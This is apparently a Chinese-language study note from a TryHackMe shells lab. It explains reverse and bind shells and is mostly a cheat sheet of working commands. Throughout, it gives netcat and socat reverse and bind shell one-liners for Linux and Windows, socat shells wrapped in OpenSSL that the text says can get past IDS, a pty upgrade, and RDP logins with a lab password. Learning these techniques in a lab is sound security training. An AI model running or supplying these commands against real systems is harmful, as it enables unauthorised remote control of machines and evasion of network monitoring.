什么是shell?
shell 是我们在与命令行环境 (CLI) 交互时使用的。
我们可以强制远程服务器向我们发送对服务器的命令行访问(反向shell),或者在服务器上打开一个我们可以连接的端口以执行进一步的命令(绑定shell )。
正向shell:攻击者连接被攻击机器,可用于攻击者处于内网,被攻击者处于公网的情况。
反向shell:被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。
工具
- Netcat : 默认有些不稳定
- Socat : 比Netcat更稳,语法比较难,普及度不如Netcat
- Metasploit auxiliary/multi/handler模块 : 都是接收反向shell的
在高层次上,当涉及到利用目标时,我们对两种 shell 感兴趣:反向 shell 和绑定 shell。
反向 shell 是指强制目标执行连接回您的计算机的代码。在您自己的计算机上,您将使用上一个任务中提到的工具之一来设置一个侦听器,该侦听器将用于接收连接。反向 shell 是绕过防火墙规则的好方法,这些规则可能会阻止您连接到目标上的任意端口;但是,缺点是,当通过 Internet 从计算机接收 shell 时,您需要配置自己的网络以接受 shell。但是,由于我们连接到网络的方法,这在 TryHackMe 网络上不会成为问题。
绑定 shell 是指在目标上执行的代码用于启动直接连接到目标上的 shell 的侦听器。然后这将向 Internet 开放,这意味着您可以连接到代码已打开的端口并以这种方式获得远程代码执行。这具有不需要在您自己的网络上进行任何配置的优点,但可能会被保护目标的防火墙阻止。
Linux
Netcat
1
2
3
4
5
6
7
8
9反弹shel nc -lvnp 5555 攻击机监听
nc 10.10.40.87 5555 -e /bin/bash 目标机器执行命令反弹shell
python3 -c 'import pty;pty.spawn("/bin/bash")' 让界面更好看
正向shell
nc -lvnp 5556 -e /bin/bash 目标机器执行
nc 目标-ip 5556 输入目标机器ip
python3 -c 'import pty;pty.spawn("/bin/bash")'Socat
1
2
3
4反向shell socat TCP-L:5566 - 攻击机监听
socat TCP:<攻击机-ip>:5566 EXEC:"bash -li" 目标机器执行
这个收到没有反应,打whoami目标机器上会有回显1
2
3
4正向shell
socat TCP-L:7788 exec:"bash -li"
socat TCP:10.10.159.153:7788 -创建加密的shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16创建加密shell socat的众多优点之一是它能够创建加密的外壳——绑定和反向。我们为什么要这样做? 除非您拥有解密密钥,否则无法监视加密的 shell,因此通常能够绕过 IDS。
生成证书
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
合并证书为一个.pem文件中
cat shell.key shell.crt > shell.pem
反向shell
socat OPENSSL-LISTEN:5553,cert=shell.pem,verify=0 -
socat OPENSSL:<攻击端-IP>:5553,verify=0 EXEC:/bin/bash
正向shell
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes 需要目标机器创建一个pem文件
socat OPENSSL:<目标-IP>:<目标-PORT>,verify=0 -
EXEC后面可以选择EXEC:/bin/bash EXEC:cmd.exe EXEC:powershell.exeWindows
1
2
3
4xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:10.10.175.163 /u:Administrator /p:'TryH4ckM3!' RDP登录
rdesktop -u hack -p hack 192.168.1.11:3389 这个一般是进去改了端口复用 portfwdNetcat
1
2
3
4
5
6
7
8反弹shell
nc -lvnp 1337 攻击机监听
nc 攻击机ip 端口 -e "cmd.exe" 也可以是powershell.exe
正向
nc -lvnp 3333 -e "cmd.exe"
nc 10.10.175.163 3333Socat
1
2
3
4
5
6
7反向shell
socat TCP-L 5566 -
socat TCP:攻击机ip:端口 exec:cmd.exe,pipes
正向shell
socat TCP-L:7788 exec:powershell.exe,pipes
socat TCP:目标ip:端口 -